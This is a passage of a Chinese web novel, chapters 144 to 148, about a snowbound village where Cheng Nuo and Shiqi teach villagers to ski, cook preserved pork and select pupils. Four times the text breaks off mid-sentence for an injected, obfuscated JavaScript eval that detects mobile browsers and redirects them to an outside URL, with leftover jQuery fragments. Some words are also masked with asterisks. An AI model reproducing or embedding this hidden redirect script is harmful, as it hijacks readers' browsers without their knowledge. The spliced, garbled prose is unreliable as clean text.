程诺笑道:“哥,明天再练吧,我明天教你。” “行!”程大壮爽快答应,“我跟爹的滑雪板也做好了,就等着你跟十七什么时候有空,教教我们。” “爹!”程云跑过来,控诉十七的不作为,“我要跟小姑姑学。” 程大壮不解:“你之前不还说十七叔滑雪帅吗?” 程云愤愤道:“他是个合格的滑雪者,但绝不是一个合格的师傅。” 程诺和十七踩着梯子下地,听到程云的控诉,程诺用滑雪板碰了碰男人的胳膊。 “你好好教,不然我会很累的。” 十七真心实意道:“我教了。” “你怎么教的?” “我跟他说,滑雪主要靠感觉和天赋。”男人一脸理所应当,好似完全不觉得教学有问题。 程诺气笑了:“你当时滑雪技能,没人教,自学成才的?” 十七点头:“差不多吧。” 成千上万的将士,靠一个北方将士一个个教,早被冻死在雪山里。 “想要会,给人当徒弟;想要精,给人当先生。”程诺还是得男人输了比赛的事,“让村里男人学会滑雪,就是你比赛失利的惩罚。” 十七摩挲着后槽牙,他承认比赛时轻敌,没想到真能让程诺赶在他前头。 谁能想到上午还在跌跌撞撞走不了直线的女子,半天功夫技艺突飞猛进,十七甚至怀疑,程诺刚开始是不是在扮猪吃老虎。 赵氏今天心情好,晚饭给家人蒸了馒头,考虑到今天费了力,还去雪地里割了两斤肉,油盐也十分舍得下料,一道小炒黄牛肉,一道粉蒸肉,再来点白菜豆腐汤,一小把咸菜拌凉粉。 程家人吃得差不多,坐在椅子上消食。 程诺说着明日的计划,除了多做些护具,还得再做几把拐杖,高度按照程大壮和程父的身高来定。 还有件事,程诺差点忘了。 第一百四十四章 能把滑雪的本事教给村里人 “上次给绿草接生,我答应接生嫂子,给她们每家各二十斤粮,二十斤炭,当时情况紧急,没来得及跟你们商议。” 程父颔首:“应该的,以后这些小事你自己决定就行。” 程大壮更没有意见,摆摊卖卤肉的时候,小李没少帮着吆喝招呼客人,困难时候帮上一把是理应的。 他将碗底最后一点豆腐汤收尾,抹了一把嘴:“待会儿我去送。” 这时,门外传来一阵敲门声。 程父看着桌上沾了油的碗底,以及剩下没吃完的馒头,跟大儿媳妇使了个眼神,赵氏心领神会,立马收拾碗筷进厨房。 村人还在饥饿里挣扎,要是被人瞧见她家吃得丰盛,还有白面馒头,心里指不定妒忌,多事之秋,还是警惕点好。 “谁啊?”程父走到门边,朝院外问。 “大山,是我。” “是村长叔啊!”程父松口气,立马将人打开,伸手邀请,“这么晚了,外头多冷,您怎么来了?有什么事让平安跑一趟,或者我去找你就好了。” 村长腰间别着烟袋锅,手上抱着两块磨过的木板,脸上难得带上笑:“找你们家有事,里头说。” 一进屋,程云给他搬来凳子,村长拍着他的肩膀道:“小云,滑雪学的怎么样?” 程云不好意思说没学会:“还在努力中。” “好好好,加油啊,我今天就是奔着这事来的。”村长又吧嗒起烟袋锅,这回上头飘出丝丝缕缕的细烟,看来对方心情颇好。 “村长叔爷爷,你也要学滑雪啊?”程云震惊地看着村长拿出滑雪板,打量他佝偻的背脊,花白的胡须,得有六七十岁了吧,摔一跤能不能爬起来都不知道。 村长摆摆手,乐了:“我一把老骨头,学不了了。” “那是?”程父插嘴道。 村长目光落在屋里程诺和十七身上:“昨天你两从斜坡上滑下来,村里不少人看见了,下午的时候,大福家也学着在脚上绑了两木板。他家门前有个一丈高的小坡,你们见过的,大福大儿子不听劝,非要从小坡上滑下来,结果整个人滚下来栽雪里,等人挖出来时,脖子扭了。” 屋里人“啊”的惊呼一声,都说大福大儿子倒霉。 程诺却觉得他是幸运,一个初学者,在练习和装备都不齐全的状况下,敢直接挑战高难度动作,脖子歪了算轻了,真要半道上碰到什么,他那条小命就得当场交代了。 想到这儿,程诺眉心一皱。 村长继续道:“四娘,我今天来,想请你教教村里想学习滑雪的村民,他们这么没头没脑地练下去,不知道还有多少人要受伤。” 来程家之前,他先去了趟大福家。 大福大儿子靠在被褥上,脑袋歪向一旁,伤了脖子,连吃饭都要人喂。 大福婶看到他来,开始抱怨:“村长,你得好好管管程家人,要不是他们没事搞出什么滑雪,我儿子怎么会有样学样弄成这样!” 村长听得直皱眉:“说的什么话?你儿子滑雪一不是程家人教导的,二不是程家人教唆的,他自己逞能,技术不到家,没学会走先想跑,怎么能怪到别人头上?” 大福婶满脸愤愤:“就算他家不用付全部责任,一半总有,没他们在这儿捣鼓这些,我儿压根不会受无妄之灾!” 跟不讲理的人讲不了道理。 村长本是好心去探望,没成想落下一堆埋怨,甩袖子就走了。 拐道又去了另外两家,也依葫芦画瓢做出滑雪板的人家。 其中一家是贵婶的儿子,还有一家小李。 前者纯粹是被憋坏了,想活动活动筋骨,后者则是想学会了去镇上给媳妇抓些补气血的药,若是能上山砍柴就更好了。 村长将两人制作的滑雪板借过来,拿到程家找程诺和十七瞧瞧。 看看几个小子自己摸索出来效果如何。 “看看,这两个滑雪用的板子怎么样?”他将滑雪板递给程诺。 程诺只看了一眼,摇头:“不行,打磨得太粗糙,大小也不对,正常能在雪地中滑行的板子,得接近滑雪者的身高。” 十七补充道:“硬度也不行,这两块板子偏硬,不适合新手,平地上走路看不出来,等下坡时候很容易控制不住力道摔倒。” 赵氏从厨房出来,走上前,看到滑雪板,摩挲着上头的绑带,也摇摇头:“绑带不够牢固,容易在滑雪过程中崩了。” 村长好奇道:“你也会滑雪?” 程诺骄傲地介绍:“这是我大徒弟,用不了几天便能出师了。” 村长眼睛一亮,赵氏是个女子,学起来这么快,那村里还有不少好男儿,应该学得更快更好。 “四娘、十七,你们能将做滑雪板的技巧,还有滑雪的本事教给村里人吗?” 程诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429225|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一早就有这想法,一直等着村长上门,但她没有立刻应和下来,无利起早的事情她不干。 村里不是所有人值得她深交,滑雪又是一项危险性很高的运动,没有健全防护情况下,更需要学员戒骄戒躁,言听计从。 程云是自家人,对她和十七可以说全身心的信任,学习之初尚且不听话,****躁躁,好高骛远。 村里其他人,尤其是长辈和男人们,不见得全部听她的教导,到时候谁不服从训练,出了差错,伤者碰着更或者是**,责任太大程诺不愿意担待。 村长看出程诺的顾虑,大福那样蛮不讲理的人家,虽不多,但肯定不止一家,他既求人办事,就得帮人家解决后顾之忧。 “四娘,你放心,我来的路上想好了,叔公给你做担保,你只要用心教学,他们出了任何意外跟你没关系,这话,我对你这么说,明天在全村人面前也是这么说!” 村长的为人,程诺是很放心的,但她又提了个要求:“学习滑雪的村民,必须由我亲自挑选,各家不得有异议。” “这……”村长有些为难,他想让大伙儿学滑雪,一方面是给憋得慌的村民找事做,活动活动筋骨,身上有热气,冬天才不难熬,二是想着靠这个本事走上鹿山,走出大梨村,跟周边村镇置换物资。 这种情况,当然是每家每户都有人学会滑雪才行。 村长问:“能每家至少选一个人汉子出来吗?” 程诺摇头:“保证不了,不是每个人都适合滑雪,有人怕摔,有人恐高,有人嫌麻烦,男人不一定比女人学得好,女人也不见得比男人学得慢,你看我大嫂就知道了,她跟小云一起学的,效率比小云高多了。” 程云心里为娘高兴,又有些不好意思,摸着鼻子掩饰尴尬。 村长这回听懂了,滑雪是一项需要技巧胜过力量的运动。 “不仅如此,因为老人和小孩的骨头很脆,摔倒后容易碎裂,所以滑雪有年纪限制,十五以下,四十五以上的都不能参加。” 村长心里飞速盘算,将合适的人选摘选出来,“好,听你的,还有什么要准备的,我明天召集大伙儿一起通知,我瞧你家小云今天练习的时候,头上屁股上戴的什么东西?” “是护具,里头塞了棉花。”程云抢答。 棉花。 程家人舍得,其他人家未必舍得。 第一百四十五章 没规矩不成方圆 程诺:“不一定非得是棉花,老旧衣服、布料、芦苇都行,只要是软的,可以在摔倒时起到缓冲保护作用就成!” 村长点头表示了解,带着两块滑雪板匆匆离开,打算回去列个章程出来,没规矩不成方圆,任何事都是这样。 外人一走,赵氏开始烧热水给大伙儿泡脚,这是程家每个人睡觉前的必备项目。 人多,一般要烧两锅,女人孩子先洗漱,程诺负责小盼儿,赵氏负责阿宝。 阿宝小姑娘今日过分安静,赵氏给她擦脚的时候见她垂着小脸,挠她小脚逗她:“谁惹我们阿宝生气了?” 小姑娘缩回脚,低垂着脑袋不说话,眼眶里有泪珠子打转,赵氏一愣,白天家里人都在屋顶上练滑雪,院门前围了不少人,是不是有人对小姑娘说什么了? “小盼儿,阿宝妹妹怎么了?”程诺问。 小盼儿憋了一晚上:“今天冬子来咱家,说阿宝妹妹的家人全**。” “冬子?”程诺跟赵氏对视一眼,对方解释道,“冬子是大福叔的孙子,今年九岁。” 九岁也该有个人样了,父母怎么管教的,不知道什么话该说什么话不该说吗? 阿宝刚来程家那几日,程诺跟全村打过招呼,孩子太小,不知道父母家人离世是什么意思,等日后长大些,自然就懂了,大伙儿统一口径,就说阿宝的爹娘去了远方避难,因为她太小不能带过去,等暴雪停了,他们就回来了。 村民当时一口应下,显然有人没记到心里去。 阿宝抽泣着抹眼泪,边哭边哽咽着要说话:“冬子哥哥说,我爹娘没离村,他们还在家里,他们**。” 不到五岁的小姑娘,并不能理解死亡的意义,但知道这是个很不好的词。 “我想回家,四娘姨,你能送我回家吗?”阿宝张着湿漉漉的眼睛瞧她,程诺拒绝的话堵在嗓子眼。 回家看几具冻僵的尸体吗? 先不说会不会在孩子幼小心灵留下阴影,就算看了然后呢,知道亲人全部离她而去,小姑娘未来还能好好生活吗? 程诺伸出手招呼她上前。 阿宝四脚并用爬过去,程家所有人中,最让她觉得安心、喜欢的人就是程诺。 可能是有人在她耳边提到过,程诺救过她的命,可能是小盼儿一天到晚在她耳边说她娘多好多厉害,阿宝对程诺带着天然的亲昵信任感。 “阿宝相信小姨吗?” 小姑娘用力点头。 程诺:“阿宝还记得最后一次见爹娘吗?” “记得,天好冷,娘把我抱在怀里,爹抱着娘,他们说这样能暖和点。”小姑娘声音带着失落,“但阿宝醒来,就见不到她们了。” “那你爷爷奶奶呢?” “爷爷奶奶出门了,天太冷,找柴火去了。”阿宝眼睛亮闪闪,显然信了爹娘编织的谎言。 程诺松了口气,“对啊,爷爷奶奶出门找柴火去了,找到一处有很多柴火的暖和地方,雪太大运不进来,只能带着家人离开,但是阿宝太小了,当时又在生病,爹娘不能带你走,就把你送到小姨这儿来了,小姨有何大夫送来的药,何大夫你知道吧,是你二爷爷……” 阿宝眨眨眼思考一瞬,想起来程诺口中的二爷爷是谁:“知道,二爷爷会给人看病。” 难怪她从梦中醒来后,连续喝了好几天的苦药,原来是二爷爷留下来的。 肯定是爹娘知道她病了,找二爷爷求药去了。 阿宝小脑袋瓜瞬间明了,相信程诺编织出来真假参半的故事。 “所以冬子哥哥骗了阿宝吗?阿宝以后再也不跟他说话了!” 程诺点头,高大福一家人都不怎样,大的不好教坏小的。 别人都以为何家丢失的鸡鸭是被范家人偷了,只有程诺知道,除了吃死他们的那只毒鸡,何家其余丢失的鸡鸭,偷盗者另有其人,少不得跟大福几个儿子扯上关系。 一夜过去,程家人睡得安稳。 一大早村长拿着锣鼓挨家挨户门前敲起来,这是村里有事商议,让各家派个代表去村长家开会的意思。 程家早饭吃的昨晚剩下的白面馒头,搭配酱黄瓜和腌咸菜,家里的鸡蛋不多了,赵氏给三个孩子一人煮了一个,想到程诺和十七要教授村民滑雪,属实辛苦,狠狠心又往锅里加了两个鸡蛋,这样一来,筐里剩下的蛋不足十个。 吃完早食,除了赵氏留下照看两个孩子,其他人都去了村长家。 一到集合地点,发现各家不仅派来当家人,还有不少小媳妇抱着孩子也来了。 人多,站不下,汉子们合力用铁铲挖出一块更大些的落脚地。 村长颤颤巍巍爬到房顶上,往下看的时候双腿不停摇晃,看得一旁的平安跟着心颤。 平安:“爹,有什么话我帮你传达吧。” 村长摇头:“不行,你还太嫩,镇不住他们。” 站得高看得远,声音也传播得跟远些,他一眼看到被人群挤到后头的程诺和十七,冲二人方向招手:“来,你们两往前来一点。” 众人齐齐望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429226|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向二人,不明所以,但还是默契地让出一条道来。 队伍里有急躁的村民,率先开口:“村长,是不是找到方法山上了?我家的柴火马上就用光了。” 村长清了清嗓子,吐了口喉咙眼里的干痰,开口道:“今天把大伙儿**起来,为的就是这事。” 人群一下子沸腾起来,真的想到法子了? 村长摆摆双手:“静一静,听我说。” 人群瞬间安静下来,目光灼灼等着村长发话。 “先前我一直觉得,鹿山路途远,光靠人走过去是不可能的,但昨天我改了主意,”村长声音里带着兴奋,“前两天想必大伙儿看到过程家四娘和她家族亲,这个叫十七的小伙子,在雪地里滑行,若我们能学会滑雪,去鹿山上砍柴将不再是奢望!” “滑雪?不成不成,听说昨天大福的儿子摔了一跤,把脖子给扭了,现在还躺在床上呢,谁知道大伙儿下次摔哪儿?” “是啊,看着就危险,程四娘跟十七上回顺利从山坡下来,撞大运了吧,不是每次都有这么好的运气的。” 人群里有反对的声音,也有赞成的声音。 “我觉得可以试试,家里的柴火告罄,要么冻死要么学会滑雪上山搏一把。” “我也愿意学,我看程家四娘滑得挺好的,一看就不是靠运气,人家是真有本事!” 村长再次出声制止大伙儿的议论:“安静。” 大伙儿的议论声渐渐变小。 “昨晚上我已经找程家人说过了,四娘和十七愿意教大伙儿滑雪的方法,但是!”村长的声音陡然提高,将所有人的注意力聚在一处,仔细听他接下来的话,“滑雪是很容易受伤的,要不要学全凭大伙儿自愿,即便有人愿意学,也不代表程四娘一定会教,不代表一定能教会。师傅领进门,修行在个人。就跟木匠瓦匠读书人一样,需要天赋,更需要努力练习。” “另外,滑雪需要的板子和护具,各家按照要求,自己准备,过程中如果受伤,医药费自理,一旦开始学,程四娘和十七就是你们的老师,要尊重人家。我知道大伙儿中很多人觉得程四娘是小辈,今天我把话放这儿,谁敢托大拿乔,四娘他们有立刻放弃教授你们的权利,到时候别家学会了,从山上抗柴火回来,你们别眼红。” 有妇人举起手问:“村长,我们女人能学吗?” 村长还没说话,先有男人怼了她一句:“女人学什么学,力气小又不顶事,在家带孩子做饭得了,凑什么热闹!” 第一百四十六章 是骡子是马,雪上见真章 程诺白眼翻上天,出言制止男人:“女人可以学,滑雪不限性别,只筛年纪。” 此话一出,队伍里不少女人喜上眉梢,灾年多学一项技能,与她们来说是生存的保证。 而且村里不少妇人,是外村嫁进来的,人人担心娘家安危,之前听赵氏说,学会滑雪可以走出大梨村,她们羡慕坏了,谁不想回娘家看看。 现在程四娘愿意给她们机会,不管是达到年纪,还是超了年纪的,看她的眼神都透着股善意。 有男人瞪了眼自家兴奋的婆娘:“滑雪动作多不雅观,一会儿蹲着,一会儿仰着,还要张开腿,女人做这种动作,成何体统。” 其他汉子跟着附和:“家里又不是没男人,村里那么多人,程家就两个人,教得过来吗?还是先紧着男人们学吧!” 这回没要程诺张口,上次给绿草接生,得了程家不少粮食和煤炭的接生妇人,替她骂了回去。 “张腿怎么了?你娘不是张腿把你生出来的?你他爹的都能张着腿尿尿,我们女人学个东西还要受你指指点点。” “这么不愿意你媳妇学滑雪,是怕她学得比你快比你好,你脸上无光吧?” 汉子急了,辩驳道:“怎么可能,我怎么可能学得不如她?” 妇人上下用蔑视的眼神上下打量他:“是骡子是马,咱们雪上见真章。” 贵婶也站出来,道:“我们家不管男人女人,肯定都是要学的,四娘,婶子不让你白教,每个人按五斤米粮给你学费,只要你能看得上他们,婶子立马回去把粮食送来。” 此话一出,小李也举手:“还有我,四姐姐别把我忘了,我还等着学会了,去镇上给我媳妇抓药呢。” 村长这才意识到,不能让程家人白忙活,立马示意儿子。 平安:“四娘,你瞧我行不行,我多给你送两斤红薯,看在亲戚的面子上,能不能走个后门。” 程诺笑道:“平安小叔,行不行得试了才知道,要是你自己害怕,我就是拉着你学,你也学不会啊!” 众人哄笑声一片。 程诺知道平安是在帮她,等会儿筛选,肯定有不少人拉关系想走后门,她连村长儿子都一视同仁,其他年纪不合适,或者没天赋想让程诺私下放松条件的,立马消了心思。 村长:“好了,想学习的,先回去准备滑板和护具,明天准备好的人,先开始学,有天赋不怕摔跤的,留下;害怕胆小的,淘汰。” 话音刚落,程诺被妇人们围起来,十七那边也被汉子们拉到一旁说话。 “妹子,滑板需要啥样的?你跟我们仔细说说。” “还有护具啥的,一人准备几个啊?我瞧你家大嫂戴头上的帽子,做起来挺繁琐的,你给咱们示范一个,成吗?” 接下来的时间,程诺负责给妇人们传授护具的作用和制作方法,十七负责教汉子们选择什么样的木板适合做成滑板,再按照个人条件适当修改。 当天晚上,大梨村各家灯火通明。 范家的那台打磨木头的机器,热闹了一晚上。 大伙儿一开始还有些忌惮屋里的**,见进出的人多,后来忙起来,浑然忘了这回事。 程诺在教会几个小媳妇做头盔后,终于有时间进厨房帮赵氏的忙。 赵氏:“忙完了?不会有人再来了吧?” 程诺看了眼天色,已经很晚了:“不会了,我去把院门关上。” 回来时,发现猪圈里的猪不见了。 “爹,咱家猪呢?” 程父:“杀了,这两天猪精神不好,身上在掉膘,还是因为天太冷,留着也是浪费粮食,趁着身上还有肉,杀了算了。” 程诺:“它没叫唤吗?” 杀猪的尖叫声不小,之前程父不愿意杀猪,不就是担心别家听到猪叫声,会来分一杯羹吗。 程父摇头:“我动作快,猪没力气反抗,跟大壮一个多时辰就处理完了,我们在后院杀的,血已经用积雪覆盖了,别家不会知道的。” 猪连求生的欲望都没了,看来也是不想活了。 “猪肉在地窖吗?” 程父点头。 自从家里丢了肉,他再也不敢把粮食藏在雪里保存,鬼知道下次会是谁爬进他家偷东西,上回范家偷窃自家吃了哑巴亏,丢失的肉总不好追到阎王殿讨要,只能打破牙齿活血吞咯。 程诺进厨房前,先去了趟地窖,将里头的一大块肥瘦相间的五花肉搬出来,拿到厨房洗干净后,切成大小相等的肉块,每一块足有手掌大小。 赵氏不解:“晚饭我做好了,炖了你爱吃的水煮肉片,你还想做道什么菜?” “不是今天吃的,”程诺手下动作不停,很快将肉搓洗干净,倒进大陶盆中,倒上足量的盐和花椒腌制。 赵氏看得一阵心疼,那可是精贵的盐啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429227|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 程诺看到脸皱成一团的赵氏,笑道:“放心吧嫂子,咱家不缺盐。” 两块钱一袋,要不多她都能弄来。 使劲放,不心疼。 赵氏知道小姑子有本事,每回家里缺了什么东西,她总能从她那小屋子里变出来,也不知道存了多少货在里头。 程诺不说,她也不会问,程家其他人更不会过问了。 吃完晚饭,肉腌制得差不多。 程诺又舀来缸里经过净化的雪水,将肉放进去搓洗,捞出来放进筛子里沥干水分。 “嫂子,家里的猪油板还有吗?” 赵氏:“有,我去拿。” 一块肥腻腻的猪油板很快拿进屋,这都得感谢当初程诺坚持卖卤肉。 家里杀的猪,留下的边角料和不适合做成卤肉的部分,全成了家人如今主要肉食来源。 程诺将猪油板切成块,锅里倒水,再放入猪油板,赵氏负责烧火。 很快大火点燃,猪油的香味飘出来。 程诺忙道:“快快快,把门窗全关上,别让香味飘出去。” 听到动静的程云和程大壮利落关窗阖门,自从大雪来后,家里每次烧肉都将门窗关紧,大伙儿早**以为常。 肉味能在屋里维持好几天,时时刻刻闻着,心情不知道多好。 锅里的肥肉很快炸成金黄酥脆的油渣,程诺用笊篱将油渣捞出,单独装盘。 三个孩子跟小猫似的,闻着味儿跑过来,刚吃完晚饭的肚子好像又在打雷。 程诺看着一大两小三个馋猫,挑了三块油渣塞进三人嘴里:“吃完记得漱口,小心牙齿里长虫子。” 得到满足的两个小丫头,欢欢喜喜拉着手漱口去了。 程云探头探脑,一副鬼精灵的样子:“小姑姑,你准备做啥好吃的?” 程诺道:“接下来几天家里会很忙,我怕你娘没时间做饭,想到一道方便好吃的肉菜,因为要放在缸里储存,所以叫缸子肉。” 说话间,灶膛里的火没熄,锅里的猪油煮成浓浓的褐色,翻滚着气泡,在大块肉倒进锅里的瞬间,比先前还要香上十倍的炸肉香飘进程家每人人的鼻腔。 太香了,实在太香了。 好在家里门窗重新修缮过,封闭效果好,程家周围也没其他邻居居住,不然就这味道,今晚指不定会不会有人求到门上,想打秋风。 遭人嫉妒遭人羡慕恨啊! 第一百四十七章 我给你脸了是不是? 没多久,翻滚的粉白与嫣红交织的五花肉,在猪油的浇淋下,摇身一变瘦肉条纹从玫红褪为浅褐,再收缩成深檀木色,纹理间渗出焦糖般的油珠。 肉块在油中“滋啦”一颤,表面冒出细小的金黄花边,像被火舌舔过的纸缘。 颜色每深一分,空气里的焦香就浓一寸。 到最后从锅里捞出来时,外层像是披上焦糖色的鳞甲,看得人直咽口水。 锅里的油一滴也没浪费,全部随着五花肉一起进了缸子保存,赵氏和程诺一起搬着,藏到家里地窖中。 “天冷,放一晚上明天就能吃了,这几天我不能帮你做饭,嫂子你要是忙不过来,直接从缸里挑一块,切成片,浇上大酱,隔水蒸热就能吃了。” 赵氏第一次听到这种做法,就算听过,也不敢尝试啊。 为了吃这一口缸子肉,得费多少盐,多少油,别说乡下人,就是镇上的百姓又有几家舍得的。 —— 第二天下午,手速快的十来个村民先开始第一轮筛选。 地点选在贵婶家门前的空地上。 贵婶家的屋顶是村里修缮最好的青砖瓦房,可以同时容纳四到五个人站立。 一个时辰内,顺利从屋顶滑到院门前的空地上,程诺就可以收下对方,继续教授更有难度的动作。 先爬上屋顶的是正是昨日叫嚣应该先紧着汉子教的男人,以及他的婆娘,一个叫溪妹的三十岁左右的妇人,最后一个是平安。 程诺让三人并排站好,教他们佩戴滑雪板和护具的正确方法。 十七双手环胸,他的任务最简单,把摔进雪里爬不起来的学员,从雪堆里揪出来,其他不用他管。 贵婶门前的雪道挤满了人,有的纯粹来看热闹,比如昨天那几个替程诺说话的婶子,还有的是怕自己上场过不了关,干脆提前熟悉一下,心里有底,学起来了或许更快。 人一多,胳膊都伸展不开,没办法大伙儿只能爬到周边几户邻居的房顶上,除了隔壁的大福一家不肯开门,其他几户都开门放人爬到屋顶,或者墙头观看。 大福大儿子脖子还扭着,伤了筋骨,没有几个月修养不好。 大福婶心里对程诺存着不满,听说她要教全村人滑雪,还有不少人家送去粮食当学费,“呸”的一声骂道:“害人玩意儿,装腔作势,等着瞧吧,滑雪滑出人命,看程家怎么收场。” 二儿子三儿子趴在墙根上看,跃跃欲试,不约而同帮程家说起话来。 “娘,大哥是自己摔的,跟人家有什么关系,村长都发话了,真有人受伤怪不到程四娘头上,医药费自理。” “我想去试试,学会了滑雪可以去鹿山砍柴。瞧着也不难,没准我天赋异禀,一下子就学会了。” 大儿媳妇没好气道:“二叔,丑话说在前头,你大哥什么样你瞧见了,他可是咱家力气最大,个子最高,脑子最好使的,好在伤的是脖子,不是脑子,不然我肯定要找程家人算账的。” 言外有意,连她丈夫都没学会,你们两个更是别想了。 二儿媳妇、三儿媳妇听到,瞬间拉了脸。 嘲讽道:“大嫂,话可不能这么说,大哥争强好胜,没金刚钻非揽瓷器活,二郎是最踏实能干的,我瞧他就能学会。” “程四娘不是说了,滑雪最重要的不是身高、不是力气,是不怕摔,胆子大,连女的都能学,大嫂嘴里大哥的这些优点,刚好是学滑雪最不需要的。” 大儿媳妇瞥了眼捂嘴偷笑的老三家的:“呦,听三弟妹的意思,你也想去试试?” 三儿媳妇是想学,学会了可以回娘家看看爹娘,但一想到要在村民面前摔无数次,狼狈**,立刻打消心里的念头,想让自家男人去试试。 她刚要出声,转头一看到婆母拉得比驴还长的脸,所有话憋在嗓子里,吐不出来了。 再看看,看看别家学的效果。 另一边,在经过小十次摔跤后,终于有人受不来了。 再次被十七狼狈的从雪堆里揪出来的男人,沉着脸望着不远处已经可以自如在雪地上行走的媳妇,怒道:“为什么她摔了两三次后,再也没摔过?” 而他已经摔第十次了! 身上疼是一方面,关键是周围这么多人看着,丢人啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429228|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 大伙儿从一开始的单纯瞧热闹,演变成现在他每摔一次,就有人吹口哨,喝倒彩。 他男人的面子往哪里放? 程诺掀掀眼皮,还能为什么,因为你笨呗。 同样的话,平安和溪妹教一遍就会了,男人说三四遍才能听懂。 “每个人情况不一样,进度不一致很正常,还有时间,再练练。”程诺是个负责人的老师,不会轻易打击学生的自信。 男人不信,就算进度不一样,他也不应该是落后的那个,输给女人,不得被人笑话死,“你是不是偷偷教授她什么诀窍了?” 没错,一定是这样的,男人像是给自己的失败找到借口,望向自家女人和程诺的眼神越发不屑。 “你们三个我是同时开始教的。”程诺气笑了。 男人:“谁知道你有没有私下跟平安交代过什么,还有我媳妇,你们都是女的,肯定更向着她,刚才她摔倒,你还去扶她。” 凭什么只有他摔了,是旁边的冷脸煞神揪衣领把他拽出来,每回力气大得要死,把他喉咙都弄疼了。 程诺原本就因为学生里有个笨的,心里烦躁得很,笨人还不自知,不从自身找原因,转头污蔑她开小灶,她的爆脾气一下子忍不住,开口骂道: “给你楼梯你不下,顺杆往上爬,我给你脸了是不是?非要我说实话,那我就告诉你实话,你笨得很,别人说一遍记住的诀窍,跟你说三遍你也听不懂,给你再多时间也没用,回家躺尸去吧。” 男人脸一下子涨红了:“你……” “你什么你,尊师重道几个字听没听过,我又不是你爹,凭什么惯着你。” 男人差点忘了泼辣蛮横才是程四娘的本性,磕巴道:“我……” “我什么我,我宣布,你被淘汰了。” 他媳妇一脸崇拜望着程诺,从前在家只有丈夫数落她的份儿,今天总算扬眉吐气了。 围观的村民,哄堂大笑,嘴里发出“吁吁”的声音。 听得男人恼羞成怒,顾不上还有人在场,上前要跟程诺动手,结果还没走出几步,屁股被人狠狠踹了一脚。 第一百四十八章 给程云找媳妇 整个人四仰八叉倒在雪地里,等他抬起头,吐出嘴里的雪,伸手等着人将他拉出来,才想起来,刚才在身后踹他的人,好像就是他伸手求救的人。 他一抬头,果真瞧见身姿挺拔的男人,正百无聊奈地掏着耳朵,蔑视的眼神盯着他:“聒噪,昨晚吃大粪了?” 谁吃大粪了,程四娘骂得比他难听多了,吃大粪的是她吧? 男人气急了:“你敢踹我?” 他作势要爬起来跟十七干仗,结果动一下雪往下面陷一寸,再动一下大半个身子埋进雪里,吓得他不敢再动丁点。 “拉我上来,快拉我上来。” 十七恍若未闻,语调清冷:“道歉。” 男人脸比锅底还黑,衬托的雪越发洁白,终于服了软:“对不住程四姑娘,我、我嘴贱,好面子,你大人不记小人过,别跟我一般见识。” 程诺冲十七扬扬下巴,十七才愿意将人捞出来,顺手丢在地上。 临走前,男人路过自家媳妇,咬牙切齿的模样没有躲过程诺的视线。 程诺察觉到身旁女人明显颓丧的神情,不用细想也知道,女人在婆家地位一定不高,今天丈夫在大伙儿面前丢了脸,虽然跟她没有直接关系,保不齐回家后会遭受丈夫的言语攻击,甚至是肢体推搡。 “等一下。”程诺出声。 男人脚步一顿,不知她还想做什么。 程诺走到他面前,道:“你媳妇滑得不错,我打算让她跟我继续学,我没记错的话,你家已经没有适合学滑雪的人了,日后能不能给家里带回来柴火,全得仰仗她。” 这话带了点威胁的意味,言外之意,你媳妇现在是全家的未来,家里人会不会被冻死,就看她能不能上山找到柴火,所以你不但不能欺负她,还得好好供着她。 男人气得要死,又能怎么办,程诺说的是实话,只能赔笑道:“当然,那是当然的。” 接下来的七八人,分成两拨。 有人恐高,别看平常上个屋顶没问题,真到稍微高点的地方,双腿开始打颤; 有人怕摔,越摔越怕,越怕越摔,几次之后,主动放弃了; 还有人天上四肢不灵活,小脑不发达,属于运动**,这种想学也学不了…… 最后十个人里头,只选了一半的人。 除了一开始的平安和溪妹,其余选中的分别是小李、贵叔的儿子小富贵,最后一个人出乎大家意外,是程三狗。 虽然程诺很不想将这个贼眉鼠眼,看着不像好人的程三狗收下,但平心而论,他在滑雪上真的学得又快又好。 